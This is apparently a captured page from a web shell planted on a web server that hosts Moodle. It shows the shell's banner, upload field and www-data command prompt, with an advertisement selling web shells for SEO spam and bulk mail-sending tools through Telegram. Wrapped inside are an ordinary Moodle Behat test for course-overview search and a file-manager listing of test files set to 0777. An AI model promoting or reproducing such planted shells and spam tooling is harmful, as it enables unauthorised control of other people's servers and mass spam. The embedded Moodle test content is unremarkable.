__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block @block_myoverview @javascript
Feature: My overview block searching

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                | idnumber |
      | student1 | Student   | X        | student1@example.com | S1       |
      | student2 | Student   | Y        | student2@example.com | S2       |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 01    | C1       | 0        |
      | Course 02    | C2       | 0        |
      | Course 03    | C3       | 0        |
      | Course 04    | C4       | 0        |
      | Course 05    | C5       | 0        |
      | Course 06    | C6       | 0        |
      | Course 07    | C7       | 0        |
      | Course 08    | C8       | 0        |
      | Course 09    | C9       | 0        |
      | Course 10    | C10      | 0        |
      | Course 11    | C11      | 0        |
      | Course 12    | C12      | 0        |
      | Course 13    | C13      | 0        |
      | Fake example | Fake     | 0        |
    And the following "course enrolments" exist:
      | user | course | role |
      | student1 | C1 | student |
      | student1 | C2 | student |
      | student1 | C3 | student |
      | student1 | C4 | student |
      | student1 | C5 | student |
      | student1 | C6 | student |
      | student1 | C7 | student |
      | student1 | C8 | student |
      | student1 | C9 | student |
      | student1 | C10 | student |
      | student1 | C11 | student |
      | student1 | C12 | student |
      | student1 | C13 | student |

  Scenario: There is no search if I am not enrolled in any course
    When I am on the "My courses" page logged in as "student2"
    Then I should see "You're not enrolled in any courses." in the "Course overview" "block"
    And "Search courses" "field" should not exist in the "Course overview" "block"
    And I log out

  Scenario: Single page search
    Given I am on the "My courses" page logged in as "student1"
    And I set the field "Search courses" in the "Course overview" "block" to "Course 0"
    Then I should see "Course 01" in the "Course overview" "block"
    And I should not see "Course 13" in the "Course overview" "block"
    And I log out

  Scenario: Paginated search
    Given I am on the "My courses" page logged in as "student1"
    And I set the field "Search courses" in the "Course overview" "block" to "Course"
    And I should see "Course 01" in the "Course overview" "block"
    And I should not see "Course 13" in the "Course overview" "block"
    And I click on "[data-control='next']" "css_element" in the "Course overview" "block"
    And I wait until ".block_myoverview [data-control='next']" "css_element" exists
    Then I should see "Course 13" in the "Course overview" "block"
    And I should not see "Course 01" in the "Course overview" "block"

Filemanager

Name Type Size Permission Actions
block_myoverview_adminsettings.feature File 10.82 KB 0777
block_myoverview_customfield.feature File 12.26 KB 0777
block_myoverview_dashboard.feature File 18.87 KB 0777
block_myoverview_favourite.feature File 4.69 KB 0777
block_myoverview_hidden.feature File 8.42 KB 0777
block_myoverview_pagelimit_persistence.feature File 2.49 KB 0777
block_myoverview_pagination.feature File 8.38 KB 0777
block_myoverview_progress.feature File 2.38 KB 0777
block_myoverview_search.feature File 2.82 KB 0777
block_myoverview_zerostate.feature File 4.45 KB 0777
Filemanager